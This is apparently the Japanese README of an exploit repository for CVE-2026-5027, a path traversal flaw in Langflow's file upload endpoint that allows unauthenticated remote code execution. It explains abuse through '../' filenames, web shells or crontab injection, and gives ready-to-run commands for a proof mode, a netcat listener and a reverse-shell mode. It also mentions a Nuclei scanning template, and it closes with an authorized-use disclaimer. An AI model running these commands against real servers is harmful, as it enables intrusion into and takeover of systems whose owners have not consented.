
CVE-2026-5027
任意ファイル書き込みによるRCE
未認証のリモートコード実行(ファイルアップロード経由)
Langflow は、ファイルアップロードエンドポイント(POST /api/v2/files)において重大なパストラバーサルの脆弱性の影響を受けます。
攻撃者は、../ シーケンスを含む悪意のあるファイル名を送信することで、サーバーのファイルシステム上の任意の場所に任意のファイルを書き込むことができます。
これは、例えばウェブシェルを配置したり crontab に注入したりすることで、完全なリモートコード実行(RCE) に容易に繋がります。
/tmp にテストファイルを書き込み)python3 CVE-2026-5027.py -t http://target:7860/ --proof
脆弱性がある場合の期待される出力:
[+] Success! File written: ../../../tmp/CVE-2026-5027-proof.txt
# Start listener
nc -lvnp 4444
# Run exploit
python3 CVE-2026-5027.py -t http://target:7860/ --lhost YOUR_IP --lport 4444
| ファイル | 説明 |
|---|---|
CVE-2026-5027.py | メインの Python エクスプロイト(PoC + RCE) |
CVE-2026-5027.yaml | スキャン用の Nuclei テンプレート |
README.md | このファイル |
証明モード
python3 CVE-2026-5027.py -t http://target.com/ --proof
リバースシェルモード
python3 CVE-2026-5027.py -t http://target.com/ --lhost 192.168.1.100 --lport 4444
このリポジトリは、教育的および許可されたセキュリティテストの目的のみで提供されています。
責任を持って、明示的なテスト許可を得たシステムでのみ使用してください。
レッドチームコミュニティのために ❤️ を込めて作られました